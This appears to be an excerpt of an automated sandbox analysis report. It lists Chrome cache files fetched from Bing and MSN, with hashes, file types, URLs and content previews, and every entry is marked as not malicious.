Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..:..._8...w.Mi....9...f../..g..8...u.ug...n(....L..c..p..n.......sw7.\....;..+......C..o.UO.I.G.b,.....~G..b.b.aQ..J..F..:.7.6.?,....K.\}...-`u.W.;...I$\|d..*...[cs....C....=.C3C...8Vp....&.x...5#J;u...p......Mg .@.]3sQ..5T2.I.cJ.r.M..{....F...\....k\b..~j7..f..?5G%.f.7.Li..L...$...f...&.@..i...s.Y.u.jW.~K..o..Q.M...LP.....UG....:...\|..8U......S...

Chrome Cache Entry: 742

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	4.773989693534619
Encrypted:	false
SSDEEP:	12:6v/7ca/f35DANXCShEDELHjiQEsq1zjUPEYCjJfhqEA/EL+qhE5y5Pc1Z:XaX38kDyiQEsq1zXtthG/aE5yd
MD5:	0CD18720313EC21B2B899D2F4A8A9602
SHA1:	685F722E55CE3AEBABA71DE8BC4467BC9D5EA3A1
SHA-256:	CA2E862C45CC7243EEB1DB4985E24E6F832E931849F969BC32A68301AACFAE8F
SHA-512:	DCEE1F1EAC013892EAAD239903A57B395487607FD249D572DFAC25006202CDF0D50B407317B9266BBE53EA038AAE1993E18B987FDE18DD7692571F6BECDA6B85
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....EIDATx....K.Q....mt.f..8.x.6I`+.......-.@".BA.Ve..V-.Z.....". ...h.E.L.,+Mgr.....j;}p8..}......E..@X..o..V..........A....\|F....^)....kmr.1.....IAE.MvY....@..V.v..qp..8..S3.o..xz.......Tnl'.....e..........?@]o?.W.I......@s..7G.u.b..}B....D.......N..{..;........k..%U.."4..AU.../.a..]..;h.z...P......-....F....i,...V..^]%.WSrR.I.....C>..%....(...R3/qD.I.........[..[..>nu._....Di.?....{.......uA...uk!9.....\..x.xJ........}.I..c~....i._.?J....W.........GT.C....6...=[..c.&.{.?.l"/.K...@..R.S... K.8J0^.%4.D..y@k.<NH.2^.H..41.0..\|..~1bj.......r.a<&.........'>..$....IEND.B`......................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 743

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	12412
Entropy (8bit):	7.955100286795984
Encrypted:	false
SSDEEP:	384:esULsp0eWjZxP9+uUfCHINPnFvsjdW1N05n:e4pzyZj+FKHuZi414
MD5:	83424BBDE15001754CD2615CCD2E4021
SHA1:	F23C38D3B1E5FE98DDA52664FB613668E087847B
SHA-256:	ED065140F836882523191F5C70D2C0EE09EADE9DF6A30032AAC698D5AC142D4E
SHA-512:	65BD10E07945D704AE8879E7F4935B01229F732E71661729C4101813E86217B391BB095CEF7A6703AC6518776E288C834A9501996BD63D42A47D7B47C763F1E2
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......6..;..u..\.&.0.K.....V.W,F..S..........N.P.<S.?.D.;4.;sz.c..4.<.....sN...<.@...n.ZNipM+.77....V.0h....i7..?ZE../'.h.G...x..+....5!z.YG...j..#.....2....2.j7.kkZz........G....W..~..E.A...........O......R.....k..&\|F.....F?.....vu{H....4.*.c.,N...k...?.s.../..m2...s.t#.UN.zpM\|....k...+..<.u/.$bb....Q.8.]..3....<DW...'..bF.\|o........{q.]6...Wliz......

Chrome Cache Entry: 744

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65468)
Category:	downloaded
Size (bytes):	4357259
Entropy (8bit):	5.7087305604472345
Encrypted:	false
SSDEEP:	49152:1hBUFV59a/y6LFk7u9c8j9Y7YDDQzs1jWA+7LOii/v2eT9v+Rg2PxlziNqf84pY9:+l7NVS
MD5:	180A873E5FABD946859DC587F3442445
SHA1:	2504E119A1424DAA3B715DE0C1525FDB1C81D829
SHA-256:	904F982B376D7176E0F0F94793D9711882F1763B8DB6287B27B2010140896379
SHA-512:	8184DF76EE8060CEF340A31433727C73E04AFB11A98F4E08CC117FB53CC6DE34B5029C9E5752EE1AFA3CFBDAA5FC97D19932F08832D0E8D6CD8CCEE913E34399
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/JQThGaFCTao7cV3gwVJf2xyB2Ck.js
Preview:	/! For license information please see cib.bundle.js.LICENSE.txt /.window.CIB\|\|(()=>{var __webpack_modules__={5004:function(O,B){"use strict";var U,G=this&&this.__extends\|\|(U=function(O,B){return U=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(O,B){O.__proto__=B}\|\|function(O,B){for(var U in B)Object.prototype.hasOwnProperty.call(B,U)&&(O[U]=B[U])},U(O,B)},function(O,B){if("function"!=typeof B&&null!==B)throw new TypeError("Class extends value "+String(B)+" is not a constructor or null");function __(){this.constructor=O}U(O,B),O.prototype=null===B?Object.create(B):(__.prototype=B.prototype,new __)});Object.defineProperty(B,"__esModule",{value:!0}),B.LoginRequestResponse=B.ErrorResponse=B.SuccessResponse=B.ActivityResponse=B.ActivityRequestError=B.ActivityRequestTrigger=void 0,function(O){O.Automatic="automatic",O.Manual="manual"}(B.ActivityRequestTrigger\|\|(B.ActivityRequestTrigger={}));var ActivityRequestError=function(O,B){this.code=O,this.message=B};B.ActivityReques

Chrome Cache Entry: 746

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2009), with no line terminators
Category:	dropped
Size (bytes):	2009
Entropy (8bit):	5.260635854713912
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8AA+nLzpJWM1nzfC57eADCoAILODcv/KUSCUvXG3AP5tD1FiOw:7LpsA0pJdQ7eG2KRSCMg+D1gZV5
MD5:	601102CA711E0B4140AF45C1657DB13F
SHA1:	7977EF6E79471380B8787B5B7148E9FF0A74A203
SHA-256:	E47318CD9D80769AC59E732347FB4F574CD4EEA9E2C787F3A996805265069001
SHA-512:	082834DC3EC02CF433FBD8D45C7CFDAC1EDF64B90E1198E48EACA4056E98BBE1BCFA8275B4D99BCC0E6934049DC084EEC5D640B54C1933DABB42FA75016E3E40
Malicious:	false
Reputation:	unknown
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var h;u=u\|\|r;var s=_ge("id_rh"),e=_ge("rh_animcrcl"),a=_ge("id_rc");if(s&&a&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var o=_ge("rewardsEntryPoint"),v=800,y=r-n,c=Math.min(100,100(r/u)),l=e&&c>=100&&n<u,p=y>0,w=Date.now();c>=100&&s.classList&&Lib.CssClass.add(s,"rh_reedm");e&&Lib.CssClass.add(e,"anim");h=function(u){var a,k;if(u){var tt=Date.now(),d=tt-w,g=Math.min(d/v,1),it=l?tg:tc/100,rt=p?Math.min(Math.floor((n+gy)/f)*f,r):r,nt=_ge("rewardsBright"),b=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",it.toString()+","+t.toSt

Chrome Cache Entry: 747

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/GJDmKr3_TS3Qpm6KEL9UKUQKUO4.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

Chrome Cache Entry: 748

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (425), with no line terminators
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/FtO6EEmTnQCuR6rQU5k7R2LZsQI.js
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

Chrome Cache Entry: 749

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1074
Entropy (8bit):	4.570685030513587
Encrypted:	false
SSDEEP:	12:6v/7sT0dMReTZ6pZmV6g00D040sG3ob/ejsxk5GQ11kU7p:5z4gfHL3oz6siZx
MD5:	12E3C305A292E74BB220698E126A1DD6
SHA1:	0D3F2E599011CB135E841451551437CB33C63E55
SHA-256:	CF0E60E5646770279331ECE2D1195EED61F93EEF1F959B358629627DF9AA9403
SHA-512:	F059AD5393822BD21D13A43577127C6E0D08A3363DD28F14EC8EDB1BB804C9B1ACAC35F84977A50A1DB2799B50448D8A7D9DC968240AA5D2EAF6B44D397C0F87
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2XNwp.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.c...........3.>u..............A...?`1....&Cf.+..7...........1..).....D.!........g....a.u....3.C....8..q!~..`W..[.0\......F..K}.$...M "-...9.....J.................,..0u`ZEF.!7.....`.A.(..L...d..r...q.AAB.!...o............?.1..^.P....@.~^...E..V.f..'.2\|................@.Q\.l.............N.~....a..P......7...F...1.A1.d#.#"........p1.Lc........@...~.4...d.?.Tn......F1..H/.~.'eP..z......n..7...._.......y.../..N.......p.....L....],.....v.....0O8.7 ....I.......3......IEND.B`................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 750

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (423), with no line terminators
Category:	downloaded
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/k02upO3eJWjKAquJryP9z-tXM5o.js
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 751

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	240720
Entropy (8bit):	6.032550786225865
Encrypted:	false
SSDEEP:	6144:9FNk7kSN9BJqxaO7aeAAvedrJycHLF5/b:9z+kSNLJiF2Fy25/b
MD5:	BF09E9F635E19B5CC486316A6DA175EF
SHA1:	77F0E686883040E5A36C45FE834A0BA5055C039C
SHA-256:	F021297E15BA80FB4993DA092F755C362B38F83035C3FF4188AB9577016D209C
SHA-512:	448FFB76DBAE9DCFDBB3F323D1CC7697B5F1D60F9CDDC25CAADA042A80A100626CDE3C752C364E2EF09CFB8562C28F6C1B29AF45F448F149CD4FF00F7CE1B76D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css
Preview:	@media screen and (max-width:1366px){.mc_caro .hp_trivia_outer div .hp_trivia_inner{display:none}}.tray_cont{display:flex;position:absolute;width:100%;bottom:calc(5vh + 11.0625rem);transition:bottom .2s linear}@media screen and (max-height:929px){.tray_cont{bottom:calc(9.4375rem)}}.tray_cont .tray_outer{display:flex;margin:auto;height:65px;z-index:2}@media(pointer:fine){.tray_cont .tray_outer .tray.collapsed{opacity:0}.tray_cont .tray_outer:hover .tray.collapsed{opacity:1}}@media screen and (max-width:1366px){.tray_cont .tray_outer{height:65px;width:250px}}@media screen and (max-height:720px){.tray_cont .tray_outer{height:58px}}.tray_cont .tray{display:flex;margin:auto auto 0 auto;border-radius:6px;height:56px;background-color:rgba(34,34,34,.8);overflow:hidden;transition:width .1s ease-out,opacity .3s ease-out;opacity:1;z-index:1}.tray_cont .tray .open_btn{display:none;align-items:center;justify-content:center;width:80px;height:56px;cursor:pointer}.tray_cont .tray .open_btn:after{conte

Chrome Cache Entry: 752

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	18944
Entropy (8bit):	7.967445633426257
Encrypted:	false
SSDEEP:	384:e1hf75wMBpX/Rp7PWwFU5YBnBC129UDQpwys7MgM+v6a7inJJ8sowc:e3z5VpXpZ/U8BCgoQwXvjUJ8nwc
MD5:	508E8220AFAA5E75C6B4AF3926697CBF
SHA1:	A4449080D17596898B59331CBB032095850FE69A
SHA-256:	5037F7AF0741E73B2FA523B741A2BC2BE187C8D9E2BD9AD0A94143D1CCCAA3CB
SHA-512:	4F5596F84A88D2637068E41BA51281445BBE0D0505E87CCF63ED5BE6A46C6A2D3A8E9C0CA358B5BD095EE4BD5A8F25210F5AC9324D4C4A1808E527545A261367
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.ad448ebe2137b42cfb9424618fccc024&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...m..i.g.}..V.xX`.*h.:b...8..C.rG.J..r?J..qNh.~T/.O.H.f........-WN...T.g..46l....0.A,H `z.H.....ViB...@..,G...L..x...4...f;....B^^.V...`...s.D...s...0ylb.I=LO...n....... A,.....cs......T....V...~..[Z.5..@.!IC.b2..:..."d9.GQ.^..!.I.k.v...c..../ .....W!.S.w....;.h...E..?..dz..N.0.....9.].{V...kz....w..m.ke.lgc.Ua.....y9.\.\|A.x[...h.B..KG2.....r/.!.>.9R.

Chrome Cache Entry: 753

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g ..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

Chrome Cache Entry: 754

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

Chrome Cache Entry: 755

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1041
Entropy (8bit):	4.2484633897908495
Encrypted:	false
SSDEEP:	24:tnq3ripj6Gnhrf9MiYjaM/Wxv1qUJHGjrIO3KAFz:VEipjbZf3YjGr4N3x
MD5:	407303FF19FBE8081F2BEAC9CF1AD7B9
SHA1:	CCFDFD943C6DAD51EA5E9804F15A3E3EBC8BA642
SHA-256:	2DF3CB601B3DE31BFC06AA7626183B7BF7F3624025BDA11C766D4CF0335B89B1
SHA-512:	BB2C515E75E0334D66BFC7765CED6654A074309A38B353DD8142D4D34C9D2F43DDD3C7D4336A65F3208D7BA38353C05793BBE0AE67EEC1803532F6D744B3E04A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/zP39lDxtrVHqXpgE8Vo-PryLpkI.svg
Preview:	<svg enable-background="new 0 0 40 40" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg"><path d="m20 0c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20zm13.082 33.082c-3.351 3.349-7.971 5.418-13.082 5.418s-9.731-2.069-13.081-5.418c-3.349-3.351-5.419-7.971-5.419-13.082s2.07-9.731 5.419-13.081c3.35-3.349 7.97-5.419 13.081-5.419s9.731 2.07 13.082 5.419c3.349 3.35 5.418 7.97 5.418 13.081s-2.069 9.731-5.418 13.082zm-13.082-13.078c2.761 0 5-2.239 5-5s-2.239-5-5-5-5 2.239-5 5 2.239 5 5 5zm0-8.5c1.933 0 3.5 1.567 3.5 3.5s-1.567 3.5-3.5 3.5-3.5-1.567-3.5-3.5 1.567-3.5 3.5-3.5zm5.754 10.496h-11.501c-1.242 0-2.249 1.007-2.249 2.249v.578c0 .893.318 1.756.898 2.435 1.566 1.834 3.952 2.739 7.098 2.739 3.145 0 5.533-.905 7.102-2.738.581-.679.901-1.544.901-2.439v-.575c0-1.243-1.007-2.249-2.249-2.249zm.749 2.824c0 .536-.192 1.056-.541 1.463-1.257 1.468-3.224 2.214-5.962 2.214s-4.704-.746-5.958-2.213c-.348-.407-.539-.926-.539-1.461v-.578c0-.414.335-.749.749-.749h11.502c.414 0

Chrome Cache Entry: 756

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1240
Entropy (8bit):	4.696555314984949
Encrypted:	false
SSDEEP:	12:6v/7/JxwTBjVaqbvkqFvgBV6ilS8DBMSfrVAd1yACHuMy8s:4JGl1b8qFvgBoivTVAyAM
MD5:	87A9C15B6574AAFB2D82C36329355FE0
SHA1:	78B72F92FC453BD5237996AE455CCF5F3E0F30CC
SHA-256:	F9D8BD135C9B46CE8C30B30720E7B6A86BABF2005CC71388A68AB571224530EC
SHA-512:	3369BDC076917C0BF4578B5C9FFC92BF24F7B8A8832FC8A1AF6989ADE72E27B3F99583BEFACFABE9799AAC2BBA94E172B5960A3094AF8CC48AD1A3E7569D9E4E
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxkRJ.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...?H.Q...R&..9..EW.....!-.."......m"..........$H......(>m. ~....s.....;p.....s.=.^.z...@...#.x....S.......@....7.M.R....j...d..v..l...."......P.Tl.z=.....`0.F....>(...\..X,..v....d2!......z..'''(.J0...h.Z[...)G..d.x}}....#.. ..........a&.A0......P...`..9....<.......::........ppp.............0..@.&.N.lK.R<>>b4.A"....$T+...!...N'G..Ty...;..4...P(..Q.P.^.V.S..V...n.GGGlS...!(.I..g=..1.L.^,......h...E.\....j...9.....www\..G...\|\dn#..Z...A..."Q.j....b..X,.....k..Eg...<I...$t......*^^^..F?.I....J....Y\]]a>......!......$.........~.L,...L..Y{c....IEND.B`.............................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 757

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8370), with no line terminators
Category:	downloaded
Size (bytes):	8370
Entropy (8bit):	5.294190759877552
Encrypted:	false
SSDEEP:	192:65Gj4ar/bZpC5Icn2IUp5jN2Rw20YL/JxaquRG/2RdIRVVR00UcTyHX9LF:rFGTyIG20YL/HaFRGOI5UcTyHf
MD5:	4517A64EBB1503C4FB56EA2B8F484013
SHA1:	E33CD4DD0876AC17F27B1048187D55548113DF2E
SHA-256:	92637EF6CF687AED07044B4B55DD2A7028AC33E2DE7A30CE415B39D55AE7E588
SHA-512:	6E73379329F4660BAFF5DF8A89F56DBA263911EEF520479CE5ED1EC3CE0E8A4EA3929A5DF56D67BB07B94E7A85D054A8607F8890029E5550E807A386C9E5A919
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/msnews/publishers-service-client.bd0469721de4067eb3cf.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["msnews/publishers-service-client"],{55128:function(e,t,i){var s;i.d(t,{S:function(){return s},PublisherServiceClient:function(){return S}}),function(e){e.More="More",e.Mute="Mute",e.Read="Read"}(s\|\|(s={}));var n=i(33940),r=i(56692),o=i(45506),d=i(76754),u=i(63535),a=i(5696),l=i(61442),c=i(17157),h=i(59207),v=i(11380),p=i(81866),y=i(51125),m=i(12108),f=i(33799),g=i(51671);class S{constructor(e,t=!0){this.fetchImpl=e,this.addPageInfoToOcid=t,this.followedPublishersEndpoint="v1/News/Users/Me/PreferredProviders",this.followedSourcesEndpoint="msn/sources",this.publishersServiceEndpoint="Msn/Providers",this.actionsServiceEndpoint="Graph/Actions",this.followActionSourceEndpoint="community/follows",this.ocid="feeds"}getOcid(){return this.ocid}getUserMutedPublishers(){return(0,n.mG)(this,void 0,void 0,(function*(){const e=yield this.getUserActions(s.Mute);if(!e\|\|!e.value)return nul

Chrome Cache Entry: 758

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	31511
Entropy (8bit):	5.678717996796526
Encrypted:	false
SSDEEP:	768:rUFw5Xmdfg58CMsk66xBo5EUWC5MJ4YkztsVUOJEvU04sDYwe/BfTRkJ5rr4:rUekd4uxS6UWC5MJ4Ykzts+WUNfU5pN
MD5:	2878186AD1058E1615819F9B2BBD9B2F
SHA1:	5F89D23C86F7505B8DBAEA57CF463820448B5598
SHA-256:	6F6B33D7B9DB52E5CA37DB81CF90DA77887CFB7680B7E86B12C60C06F9FB377E
SHA-512:	7E7C317391C315DC330F344E2EBE3DD2B3FC98037E529FD3929F68B5520D70449FC7ECA6C53443D2BF5A0895FB23F04A14B1C1A06B71AC9FEDEA5680B45FF6C9
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/model
